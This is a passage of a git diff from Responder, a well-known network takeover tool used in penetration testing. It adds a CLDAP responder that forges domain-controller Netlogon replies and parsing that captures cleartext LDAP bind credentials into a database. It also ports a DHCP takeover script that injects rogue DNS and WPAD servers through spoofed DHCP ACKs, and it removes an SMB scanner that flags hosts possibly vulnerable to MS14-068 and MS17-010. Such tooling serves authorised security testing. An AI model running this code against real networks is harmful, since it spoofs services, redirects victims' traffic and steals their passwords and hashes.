from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge, CLDAPNetlogon
|
||||||
from utils import *
|
from utils import *
|
||||||
import struct
|
import struct
|
||||||
import codecs
|
import codecs
|
||||||
|
import random
|
||||||
|
|
||||||
|
def GenerateNetbiosName():
|
||||||
|
return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
|
||||||
|
|
||||||
|
def CalculateDNSName(name):
|
||||||
|
if isinstance(name, bytes):
|
||||||
|
name = name.decode('latin-1')
|
||||||
|
name = name.split(".")
|
||||||
|
DomainPrefix = struct.pack('B', len(name[0])).decode('latin-1')+name[0]
|
||||||
|
Dnslen = ''
|
||||||
|
for x in name:
|
||||||
|
if len(x) >=1:
|
||||||
|
Dnslen += struct.pack('B', len(x)).decode('latin-1')+x
|
||||||
|
|
||||||
|
return Dnslen, DomainPrefix
|
||||||
|
|
||||||
|
def ParseCLDAPNetlogon(data):
|
||||||
|
#data = NetworkSendBufferPython2or3(data)
|
||||||
|
try:
|
||||||
|
Dns = data.find(b'DnsDomain')
|
||||||
|
if Dns is -1:
|
||||||
|
return False
|
||||||
|
DnsName = data[Dns+9:]
|
||||||
|
DnsGuidOff = data.find(b'DomainGuid')
|
||||||
|
if DnsGuidOff is -1:
|
||||||
|
return False
|
||||||
|
Guid = data[DnsGuidOff+10:]
|
||||||
|
if Dns:
|
||||||
|
DomainLen = struct.unpack(">B", DnsName[1:2])[0]
|
||||||
|
DomainName = DnsName[2:2+DomainLen]
|
||||||
|
|
||||||
|
if Guid:
|
||||||
|
DomainGuidLen = struct.unpack(">B", Guid[1:2])[0]
|
||||||
|
DomainGuid = Guid[2:2+DomainGuidLen]
|
||||||
|
return DomainName, DomainGuid
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
def ParseSearch(data):
|
def ParseSearch(data):
|
||||||
|
TID = data[8:9].decode('latin-1')
|
||||||
|
if re.search(b'Netlogon', data):
|
||||||
|
NbtName = GenerateNetbiosName()
|
||||||
|
TID = NetworkRecvBufferPython2or3(data[8:10])
|
||||||
|
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
|
||||||
|
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
|
||||||
|
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
|
||||||
|
t.calculate()
|
||||||
|
return str(t)
|
||||||
|
|
||||||
if re.search(b'(objectClass)', data):
|
if re.search(b'(objectClass)', data):
|
||||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1')))
|
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
|
||||||
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
|
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||||
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||||
|
|
||||||
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||||
SSPIStart = data.find(b'NTLMSSP')
|
SSPIStart = data.find(b'NTLMSSP')
|
||||||
@@ -92,6 +141,59 @@ def ParseNTLM(data,client, Challenge):
|
|||||||
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||||
ParseLDAPHash(data, client, Challenge)
|
ParseLDAPHash(data, client, Challenge)
|
||||||
|
|
||||||
|
def ParseCLDAPPacket(data, client, Challenge):
|
||||||
|
if data[1:2] == b'\x84':
|
||||||
|
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||||
|
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||||
|
Operation = data[10:11]
|
||||||
|
sasl = data[20:21]
|
||||||
|
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||||
|
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||||
|
if Operation == b'\x60':
|
||||||
|
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||||
|
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
||||||
|
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||||
|
|
||||||
|
if AuthHeaderType == b'\x80':
|
||||||
|
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||||
|
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'LDAP',
|
||||||
|
'type': 'Cleartext',
|
||||||
|
'client': client,
|
||||||
|
'user': UserDomain,
|
||||||
|
'cleartext': Password,
|
||||||
|
'fullhash': UserDomain+':'+Password,
|
||||||
|
})
|
||||||
|
|
||||||
|
if sasl == b'\xA3':
|
||||||
|
Buffer = ParseNTLM(data,client, Challenge)
|
||||||
|
return Buffer
|
||||||
|
|
||||||
|
elif Operation == b'\x63':
|
||||||
|
Buffer = ParseSearch(data)
|
||||||
|
return Buffer
|
||||||
|
|
||||||
|
elif settings.Config.Verbose:
|
||||||
|
print(text('[LDAP] Operation not supported'))
|
||||||
|
|
||||||
|
if data[5:6] == b'\x60':
|
||||||
|
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||||
|
UserString = data[12:12+UserLen].decode('latin-1')
|
||||||
|
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||||
|
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
|
||||||
|
if settings.Config.Verbose:
|
||||||
|
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'LDAP',
|
||||||
|
'type': 'Cleartext',
|
||||||
|
'client': client,
|
||||||
|
'user': UserString,
|
||||||
|
'cleartext': PassStr,
|
||||||
|
'fullhash': UserString+':'+PassStr,
|
||||||
|
})
|
||||||
|
|
||||||
|
|
||||||
def ParseLDAPPacket(data, client, Challenge):
|
def ParseLDAPPacket(data, client, Challenge):
|
||||||
if data[1:2] == b'\x84':
|
if data[1:2] == b'\x84':
|
||||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||||
@@ -100,8 +202,9 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||||||
sasl = data[20:21]
|
sasl = data[20:21]
|
||||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||||
|
if Operation == b'\x60':#Bind
|
||||||
if Operation == b'\x60':
|
if "ldap" in data:# No Kerberos
|
||||||
|
return False
|
||||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||||
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
||||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||||
@@ -148,7 +251,7 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||||||
class LDAP(BaseRequestHandler):
|
class LDAP(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
self.request.settimeout(0.4)
|
self.request.settimeout(1)
|
||||||
data = self.request.recv(8092)
|
data = self.request.recv(8092)
|
||||||
Challenge = RandomChallenge()
|
Challenge = RandomChallenge()
|
||||||
for x in range(5):
|
for x in range(5):
|
||||||
@@ -159,3 +262,17 @@ class LDAP(BaseRequestHandler):
|
|||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class CLDAP(BaseRequestHandler):
|
||||||
|
def handle(self):
|
||||||
|
try:
|
||||||
|
data, soc = self.request
|
||||||
|
Challenge = RandomChallenge()
|
||||||
|
for x in range(1):
|
||||||
|
Buffer = ParseCLDAPPacket(data,self.client_address[0], Challenge)
|
||||||
|
if Buffer:
|
||||||
|
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||||
|
data, soc = self.request
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|||||||
11
settings.py
11
settings.py
@@ -23,7 +23,7 @@ import subprocess
|
|||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
__version__ = 'Responder 3.0.2.0'
|
__version__ = 'Responder 3.0.4.0'
|
||||||
|
|
||||||
class Settings:
|
class Settings:
|
||||||
|
|
||||||
@@ -142,11 +142,12 @@ class Settings:
|
|||||||
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||||
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
|
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
|
||||||
|
|
||||||
if not os.path.exists(self.Html_Filename):
|
if self.Serve_Exe is True:
|
||||||
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
|
if not os.path.exists(self.Html_Filename):
|
||||||
|
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
|
||||||
|
|
||||||
if not os.path.exists(self.Exe_Filename):
|
if not os.path.exists(self.Exe_Filename):
|
||||||
print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
|
print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
|
||||||
|
|
||||||
# SSL Options
|
# SSL Options
|
||||||
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
|
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
|
||||||
|
|||||||
113
tools/DHCP.py
113
tools/DHCP.py
@@ -15,15 +15,16 @@
|
|||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import sys
|
import sys
|
||||||
|
if (sys.version_info < (3, 0)):
|
||||||
|
sys.exit('This script is meant to be run with Python3')
|
||||||
import struct
|
import struct
|
||||||
import optparse
|
import optparse
|
||||||
import configparser
|
import configparser
|
||||||
import os
|
import os
|
||||||
|
import codecs
|
||||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||||
sys.path.insert(0, BASEDIR)
|
sys.path.insert(0, BASEDIR)
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from packets import Packet
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
||||||
@@ -54,9 +55,48 @@ elif options.DNSIP2 is None:
|
|||||||
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
|
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
|
#Python version
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
PY2OR3 = "PY3"
|
||||||
|
else:
|
||||||
|
PY2OR3 = "PY2"
|
||||||
|
|
||||||
|
def StructWithLenPython2or3(endian,data):
|
||||||
|
#Python2...
|
||||||
|
if PY2OR3 == "PY2":
|
||||||
|
return struct.pack(endian, data)
|
||||||
|
#Python3...
|
||||||
|
else:
|
||||||
|
return struct.pack(endian, data).decode('latin-1')
|
||||||
|
|
||||||
|
def NetworkSendBufferPython2or3(data):
|
||||||
|
if PY2OR3 == "PY2":
|
||||||
|
return str(data)
|
||||||
|
else:
|
||||||
|
return bytes(str(data), 'latin-1')
|
||||||
|
|
||||||
|
def NetworkRecvBufferPython2or3(data):
|
||||||
|
if PY2OR3 == "PY2":
|
||||||
|
return str(data)
|
||||||
|
else:
|
||||||
|
return str(data.decode('latin-1'))
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
("data", ""),
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
print('#############################################################################')
|
print('#############################################################################')
|
||||||
print('## DHCP INFORM TAKEOVER 0.2 ##')
|
print('## DHCP INFORM TAKEOVER 0.3 ##')
|
||||||
print('## ##')
|
print('## ##')
|
||||||
print('## By default, this script will only inject a new DNS/WPAD ##')
|
print('## By default, this script will only inject a new DNS/WPAD ##')
|
||||||
print('## server to a Windows <= XP/2003 machine. ##')
|
print('## server to a Windows <= XP/2003 machine. ##')
|
||||||
@@ -113,7 +153,7 @@ class UDP(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
|
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
|
||||||
|
|
||||||
class DHCPACK(Packet):
|
class DHCPACK(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -162,14 +202,14 @@ class DHCPACK(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
|
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
||||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
|
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
||||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
|
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
|
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||||
self.fields["Op15Str"] = DNSNAME
|
self.fields["Op15Str"] = DNSNAME
|
||||||
self.fields["Op252Str"] = WPADSRV
|
self.fields["Op252Str"] = WPADSRV
|
||||||
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
|
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
||||||
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
|
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||||
|
|
||||||
class DHCPInformACK(Packet):
|
class DHCPInformACK(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -212,14 +252,14 @@ class DHCPInformACK(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
|
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER).decode('latin-1')
|
||||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
|
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
|
||||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
|
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
|
||||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
|
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
|
||||||
self.fields["Op15Str"] = DNSNAME
|
self.fields["Op15Str"] = DNSNAME
|
||||||
self.fields["Op252Str"] = WPADSRV
|
self.fields["Op252Str"] = WPADSRV
|
||||||
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
|
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
|
||||||
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
|
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
|
||||||
|
|
||||||
def SpoofIP(Spoof):
|
def SpoofIP(Spoof):
|
||||||
return ROUTERIP if Spoof else Responder_IP
|
return ROUTERIP if Spoof else Responder_IP
|
||||||
@@ -242,8 +282,9 @@ def ParseSrcDSTAddr(data):
|
|||||||
return SrcIP, SrcPort, DstIP, DstPort
|
return SrcIP, SrcPort, DstIP, DstPort
|
||||||
|
|
||||||
def FindIP(data):
|
def FindIP(data):
|
||||||
|
data = data.decode('latin-1')
|
||||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||||
return ''.join(IP[0:4])
|
return ''.join(IP[0:4]).encode('latin-1')
|
||||||
|
|
||||||
def ParseDHCPCode(data):
|
def ParseDHCPCode(data):
|
||||||
PTid = data[4:8]
|
PTid = data[4:8]
|
||||||
@@ -251,52 +292,54 @@ def ParseDHCPCode(data):
|
|||||||
CurrentIP = socket.inet_ntoa(data[12:16])
|
CurrentIP = socket.inet_ntoa(data[12:16])
|
||||||
RequestedIP = socket.inet_ntoa(data[16:20])
|
RequestedIP = socket.inet_ntoa(data[16:20])
|
||||||
MacAddr = data[28:34]
|
MacAddr = data[28:34]
|
||||||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
|
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
|
||||||
OpCode = data[242:243]
|
OpCode = data[242:243]
|
||||||
RequestIP = data[245:249]
|
RequestIP = data[245:249]
|
||||||
|
|
||||||
# DHCP Inform
|
# DHCP Inform
|
||||||
if OpCode == "\x08":
|
if OpCode == b"\x08":
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP))
|
||||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
|
Packet = DHCPInformACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
|
||||||
GiveClientIP=socket.inet_aton("0.0.0.0"),
|
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||||
NextServerIP=socket.inet_aton("0.0.0.0"),
|
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||||
RelayAgentIP=socket.inet_aton("0.0.0.0"),
|
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
|
||||||
ElapsedSec=Seconds)
|
ElapsedSec=Seconds.decode('latin-1'))
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||||
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
|
|
||||||
|
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
|
||||||
IP = FindIP(data)
|
IP = FindIP(data)
|
||||||
if IP:
|
if IP:
|
||||||
IPConv = socket.inet_ntoa(IP)
|
IPConv = socket.inet_ntoa(IP)
|
||||||
if RespondToThisIP(IPConv):
|
if RespondToThisIP(IPConv):
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)).decode('latin-1'), DstIP=IP.decode('latin-1'))
|
||||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||||
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
|
|
||||||
|
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
|
||||||
IP = FindIP(data)
|
IP = FindIP(data)
|
||||||
if IP:
|
if IP:
|
||||||
IPConv = socket.inet_ntoa(IP)
|
IPConv = socket.inet_ntoa(IP)
|
||||||
if RespondToThisIP(IPConv):
|
if RespondToThisIP(IPConv):
|
||||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
|
||||||
Packet.calculate()
|
Packet.calculate()
|
||||||
Buffer = UDP(Data = Packet)
|
Buffer = UDP(Data = Packet)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
|
||||||
|
|
||||||
def SendDHCP(packet,Host):
|
def SendDHCP(packet,Host):
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||||
s.sendto(packet, Host)
|
s.sendto(NetworkSendBufferPython2or3(packet), Host)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||||
@@ -305,7 +348,7 @@ if __name__ == "__main__":
|
|||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
data = s.recvfrom(65535)
|
data = s.recvfrom(65535)
|
||||||
if data[0][23:24] == "\x11": # is udp?
|
if data[0][23:24] == b"\x11": # is udp?
|
||||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||||
|
|
||||||
if SrcPort == 67 or DstPort == 67:
|
if SrcPort == 67 or DstPort == 67:
|
||||||
|
|||||||
@@ -1,99 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
# This file is part of Responder, a network take-over set of tools
|
|
||||||
# created and maintained by Laurent Gaffie.
|
|
||||||
# email: laurent.gaffie@gmail.com
|
|
||||||
# This program is free software: you can redistribute it and/or modify
|
|
||||||
# it under the terms of the GNU General Public License as published by
|
|
||||||
# the Free Software Foundation, either version 3 of the License, or
|
|
||||||
# (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This program is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
# GNU General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU General Public License
|
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
||||||
import re,sys,socket,struct
|
|
||||||
import os
|
|
||||||
import datetime
|
|
||||||
import multiprocessing
|
|
||||||
from socket import *
|
|
||||||
|
|
||||||
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
|
|
||||||
from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq
|
|
||||||
|
|
||||||
def GetBootTime(data):
|
|
||||||
Filetime = int(struct.unpack('<q',data)[0])
|
|
||||||
if Filetime == 0: # server may not disclose this info
|
|
||||||
return 0, "Unknown"
|
|
||||||
t = divmod(Filetime - 116444736000000000, 10000000)
|
|
||||||
time = datetime.datetime.fromtimestamp(t[0])
|
|
||||||
return time, time.strftime('%Y-%m-%d %H:%M:%S')
|
|
||||||
|
|
||||||
|
|
||||||
def IsDCVuln(t, host):
|
|
||||||
if t[0] == 0:
|
|
||||||
print("Server", host[0], "did not disclose its boot time")
|
|
||||||
return
|
|
||||||
|
|
||||||
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
|
||||||
if t[0] < Date:
|
|
||||||
print("System is up since:", t[1])
|
|
||||||
print("This system may be vulnerable to MS14-068")
|
|
||||||
Date = datetime.datetime(2017, 0o3, 14, 0, 30)
|
|
||||||
if t[0] < Date:
|
|
||||||
print("System is up since:", t[1])
|
|
||||||
print("This system may be vulnerable to MS17-010")
|
|
||||||
print("Server", host[0], "is up since:", t[1])
|
|
||||||
|
|
||||||
|
|
||||||
def run(host):
|
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
|
||||||
s.settimeout(5)
|
|
||||||
try:
|
|
||||||
s.connect(host)
|
|
||||||
|
|
||||||
Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
|
|
||||||
Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
|
|
||||||
Nego.calculate()
|
|
||||||
|
|
||||||
Packet = str(Header)+str(Nego)
|
|
||||||
Buffer = struct.pack(">i", len(Packet)) + Packet
|
|
||||||
s.send(Buffer)
|
|
||||||
|
|
||||||
data = s.recv(1024)
|
|
||||||
if data[4:5] == "\xff":
|
|
||||||
print("Server", host[0], "doesn't support SMBv2")
|
|
||||||
if data[4:5] == "\xfe":
|
|
||||||
IsDCVuln(GetBootTime(data[116:124]), host)
|
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
s.close()
|
|
||||||
sys.exit("\rExiting...")
|
|
||||||
except:
|
|
||||||
s.close()
|
|
||||||
pass
|
|
||||||
|
|
||||||
def atod(a):
|
|
||||||
return struct.unpack("!L",inet_aton(a))[0]
|
|
||||||
|
|
||||||
def dtoa(d):
|
|
||||||
return inet_ntoa(struct.pack("!L", d))
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
if len(sys.argv)<=1:
|
|
||||||
